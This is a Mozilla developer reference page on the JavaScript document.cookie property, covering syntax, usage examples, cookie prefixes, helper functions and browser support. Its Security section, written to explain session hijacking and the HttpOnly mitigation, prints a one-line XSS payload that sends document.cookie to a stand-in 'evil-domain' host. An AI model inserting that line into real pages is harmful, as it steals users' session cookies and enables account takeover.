Document.cookie
Get and set the cookies associated with the current document. For a general library see this simple cookie framework.
Syntax
Read all cookies accessible from this location
allCookies = document.cookie;
In the code above allCookies
is a string containing a semicolon-separated list of all cookies (i.e. key=value
pairs)
Write a new cookie
document.cookie = newCookie;
In the code above, newCookie
is a string of form key=value
. Note that you can only set/update a single cookie at a time using this method. Consider also that:
- Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
-
When user privacy is a concern, It is important that any web app implementation will invalidate cookie data after a certain timeout and won't rely on the browser clearing session cookies
One of the most beloved features of Firefox prevents session cookies from ever expiring .
The same issue is also occuring with google chrome (and probably with other browsers offering similar features)
-
- The cookie value string can use
encodeURIComponent()
to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values). - Some user agent implementations support the following cookie prefixes:
__Secure-
Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.__Host-
Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.
The dash is considered part of the prefix. -
These flags are only setable with the
secure
attribute.
document.cookie
is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.Examples
Example #1: Simple usage
document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; function alertCookie() { alert(document.cookie); }
<button onclick="alertCookie()">Show cookies</button>
Example #2: Get a sample cookie named test2
document.cookie = "test1=Hello"; document.cookie = "test2=World"; var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); function alertCookieValue() { alert(cookieValue); }
<button onclick="alertCookieValue()">Show cookie value</button>
Example #3: Do something only once
In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce
(the name of the cookie) with a custom name.
function doOnce() { if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { alert("Do something here!"); document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; } }
<button onclick="doOnce()">Only do something once</button>
Example #4: Reset the previous cookie
function resetOnce() { document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; }
<button onclick="resetOnce()">Reset only once cookie</button>
Security
It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie
property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.
Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.
Notes
- Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
- You can delete a cookie by simply updating its expiration time to zero.
- Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
- RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.
The reason for the syntax of the document.cookie
accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):
The server tells the client to store a cookie
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here]
The client sends back to the server its cookies previously stored
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
Using relative URLs in the path
parameter
The path
parameter of a new cookie can accept only absolute paths. If you want to use relative paths, you'll need to convert them. The following function can translate relative paths to absolute paths. It is a general-purpose function, but can be of course successfully used for the path
parameter of a new cookie, as well.
Library
/*\ |*| |*| :: Translate relative paths to absolute paths :: |*| |*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie |*| https://developer.mozilla.org/User:fusionchess |*| |*| The following code is released under the GNU Public License, version 3 or later. |*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function relPathToAbs (sRelPath) { var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1")); for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) { nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length; sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/"); } return sDir + sPath.substr(nStart); }
Sample usage
/* Let us be in /en-US/docs/Web/API/document.cookie */ alert(location.pathname); // displays: /en-US/docs/Web/API/document.cookie alert(relPathToAbs("./")); // displays: /en-US/docs/Web/API/ alert(relPathToAbs("../Guide/API/DOM/Storage")); // displays: /en-US/docs/Web/Guide/API/DOM/Storage alert(relPathToAbs("../../Firefox")); // displays: /en-US/docs/Firefox alert(relPathToAbs("../Guide/././API/../../../Firefox")); // displays: /en-US/docs/Firefox
Relative expiration-date: numeric examples
If you don't want to use an absolute date for the end
parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:
docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days) docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR
Other examples
Example #5: Do something only once – a general library
Library
function executeOnce () { var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string"; if (bImplGlob) { argc++; } if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); } var fExec = arguments[0], sKey = arguments[argc - 2]; if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); } if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); } if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; } fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []); document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : ""); return true; }
Syntax
executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
Description
Executes a function only once, even after the refresh of the page.
Parameters
callback
- The function to be executed (function).
thisObject
Optional- The
this
object (object ornull
). argumentToPass1, argumentToPass2, argumentToPassN
Optional- The arguments of the
callback
function. identifier
- The identifier to check, i.e. the name of the cookie (string)
onlyHere
Optional- A boolean expressing whether the cookie will use the local path (
true
) instead of the global one (false
orundefined
) (boolean orundefined
)
Sample usage
function alertSomething (sMsg) { alert(sMsg); } executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");
Specifications
Specification | Status | Comment |
---|---|---|
Document Object Model (DOM) Level 2 HTML Specification The definition of 'Document.cookie' in that specification. |
Recommendation | Initial definition |
Cookie Prefixes | Working Draft |
Browser compatibility
Feature | Chrome | Firefox (Gecko) | Internet Explorer | Opera | Safari (WebKit) |
---|---|---|---|---|---|
Basic support | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) |
__Host- and __Secure- prefixes |
49.0 [1] |
Feature | Android | Android Webview | Firefox Mobile (Gecko) | IE Phone | Opera Mobile | Safari Mobile | Chrome for Android |
---|---|---|---|---|---|---|---|
Basic support | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) | (Yes) |
__Host- and __Secure- prefixes |
No support | 49.0 [1] | 49.0 [1] |
[1] Behind a flag.
See also
View Cookie Demo:
License
© 2016 Mozilla Contributors
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-us/docs/web/api/document/cookie